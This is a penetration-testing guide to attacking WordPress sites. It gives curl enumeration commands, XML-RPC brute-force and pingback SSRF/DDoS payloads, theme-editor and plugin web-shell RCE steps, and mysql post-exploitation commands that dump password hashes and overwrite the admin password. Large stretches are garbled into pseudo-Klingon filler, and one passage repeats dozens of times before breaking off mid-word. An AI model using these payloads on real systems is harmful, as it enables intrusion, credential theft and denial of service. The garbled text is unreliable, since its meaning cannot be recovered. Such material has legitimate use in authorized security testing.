hacktricks/network-services-pentesting/pentesting-web/wordpress.md

# Wordpress

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## Basic Information

**Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)

In **wp-config.php** you can find the root password of the database.

Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_

### **Main WordPress Files**

* `index.php`
* `license.txt` contains useful information such as the version WordPress installed.
* `wp-activate.php` is used for the email activation process when setting up a new WordPress site.
* Login folders (may be renamed to hide it):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
* The `wp-content` folder is the main directory where plugins and themes are stored.
* `wp-content/uploads/` Is the directory where any files uploaded to the platform are stored.
* `wp-includes/` This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
* `wp-sitemap.xml` In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.

**Post exploitation**

* The `wp-config.php` file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

### Users Permissions

* **Administrator**
* **Editor**: Publish and manages his and others posts
* **Author**: Publish and manage his own posts
* **Contributor**: Write and manage his posts but cannot publish them
* **Subscriber**: Browser posts and edit their profile

## **Passive Enumeration**

### **Get WordPress version**

Check if you can find the files `/license.txt` or `/readme.html`

Inside the **source code** of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):

* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`

![](<../../.gitbook/assets/image (343).png>)

* CSS link files

![](<../../.gitbook/assets/image (344).png>)

* JavaScript files

![](<../../.gitbook/assets/image (346).png>)

### Get Plugins

{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Get Themes

{% code overflow="wrap" %}### Themes jIH

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```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### jImej

{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

```
{% endcode %}

<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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## **Qap** enumeration

### Plugins je Themes

tlhIngan Hol vItlhutlh **Plugins je Themes** passible. **Brute Force a list of Plugins je Themes** (hopefully for us there are automated tools that contains this lists) **actively** vItlhutlh.

### Users

**ID Brute**

WordPress site users valid users vItlhutlh Brute Force users IDs:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
**wp-json**

**wp-json**

**wp-json**

**wp-json**

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**wp-json**
```
curl http://blog.example.com/wp-json/wp/v2/users
```
jIyajbe' `/wp-json/` endpoint vItlhutlh ghap users vItlhutlh vItlhutlh.
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
**ghItlh** **endpoint** **qaStaHvIS** **users** **'e'** **post** **'e'**. **'e'** **users** **'e'** **feature** **enable** **'e'** **information** **'e'** **Daj**.

**'e'** **/wp-json/wp/v2/pages** **IP** **leak** **Suv**.

#### **Login** **username** **enumeration**

**'e'** **login** **`/wp-login.php`** **'e'** **message** **'e'** **'e'** **username** **'e'** **exist** **'e'**.

### **XML-RPC**

**xml-rpc.php** **'e'** **active** **'e'** **credentials** **brute-force** **'e'** **DoS** **attacks** **'e'** **resources** **'e'**. (**'e'** **automate** **'e'** **process**[**'e'** **this**](https://github.com/relarizky/wpxploit) **'e'** **example**).

**'e'** **active** **'e'** **try** **'e'** **access** **_**/xmlrpc.php**_** **'e'** **request** **'e'** **send**:

**Check**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)

**Credentials Bruteforce**

**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:

**Credentials Bruteforce**

**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.

![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```
**Bypass 2FA**

**Qapla'!** QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vItlhutlh 2FA. So, 'ej valid creds 'utlh, 'ach 'oH 2FA DaH jImej login xmlrpc.php 'e' vItlhutlh. Qapla'! QaH jatlhlaHbe'chugh, 'ej 'oH, vaj xmlrpc.php 'e' vIt
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png)

**faultCode** **0** (17) **veQ** **greater** **value** **'ej** **port** **open** **'e'**.

**`system.multicall`** **abuse** **method** **cause** **DDoS** **ghaH** **'ej** **previous** **section** **look** **jatlh**.
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)

### wp-cron.php DoS

**`/wp-cron.php`** **ghItlh** Wordpress **site** **root** **Daq** **'e'** **file** **Dajatlh**.\
**'e'** **file** **'e'** **'e'** **accessed** **'e'** "**heavy**" MySQL **query** **'e'** **performed**, so **attackers** **'e'** **DoS** **'e'** **cause** **vaj**.\
**'ej**, **default** **vaj**, **`wp-cron.php`** **called** **every** **page load** (anytime **client** **requests** **Wordpress page**), **high-traffic sites** **vaj** **problems** (DoS).

**Wp-Cron** **disable** **recommended** **'ej** **host** **inside** **real cronjob** **create** **needed actions** **regular interval** (without **issues** **cause**).

### /wp-json/oembed/1.0/proxy - SSRF

_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ **access** **Try** **Worpress site** **request** **make**.

**'e'** **response** **'e'** **doesn't work** **when**:

![](<../../.gitbook/assets/image (184) (1).png>)

### SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

**'e'** **tool** **checks** **methodName: pingback.ping** **'ej** **path** **/wp-json/oembed/1.0/proxy** **'ej** **exists**, **exploit** **tries** **'e'**.

### Automatic Tools
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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## **ghItlh** access by overwriting a bit

More than a real attack this is a curiosity. IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) you could flip 1 bit from any wordpress file. So you could flip the position `5389` of the file `/var/www/html/wp-includes/user.php` to NOP the NOT (`!`) operation.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**

**Modifying a php from the theme used (admin credentials needed)**

Appearance → Theme Editor → 404 Template (at the right)

Change the content for a php shell:

![](<../../.gitbook/assets/image (21) (1) (1).png>)

Search in internet how can you access that updated page. In this case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)

### MSF

You can use:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Plugin RCE

### PHP plugin

It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:

![](<../../.gitbook/assets/image (407).png>)

Then add a new plugin:

![](<../../.gitbook/assets/image (409).png>)

Upload plugin and press Install Now:

![](<../../.gitbook/assets/image (411).png>)

Click on Procced:

![](<../../.gitbook/assets/image (412).png>)

Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:

![](<../../.gitbook/assets/image (413).png>)

Access it and you will see the URL to execute the reverse shell:

![](<../../.gitbook/assets/image (414).png>)

### Uploading and activating malicious plugin

This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:

1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).

2. **Plugin Installation**:
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.

3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.

4. **Exploitation**:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.

The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.


**For more detailed steps check: [https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**


## Post Exploitation

Extract usernames and passwords:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Change admin password:

To change the admin password in WordPress, follow these steps:

1. Log in to the WordPress admin dashboard using your current admin credentials.
2. Once logged in, go to the "Users" section in the left-hand menu.
3. Locate the admin user and click on it to edit the user profile.
4. Scroll down to the "Account Management" section and find the "Password" field.
5. Enter your new desired password in the "Password" field.
6. Make sure to choose a strong and unique password to enhance security.
7. After entering the new password, click on the "Update Profile" button to save the changes.
8. Your admin password will now be updated, and you will need to use the new password to log in to the WordPress admin dashboard.

Remember to keep your admin password secure and change it regularly to protect your WordPress site from unauthorized access.
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## WordPress Protection

### Regular Updates

Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:

## WordPress qoH

### cha'logh Updates

WordPress, plugins, je themes qoH. automated updating enabled wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
### **majQa'**

* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)

### **lo'laHbe'**

* **admin** user **ghom**.
* **Qap** **nIvbogh** je **2FA**.
* **qaStaHvIS** **review** users **permissions**.
* **Brute Force attacks** **ngogh** **login attempts** **Qap**.
* **`wp-admin.php`** file **ghItlh** je **ghItlh** IP addresses.

<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

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<details>

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</details>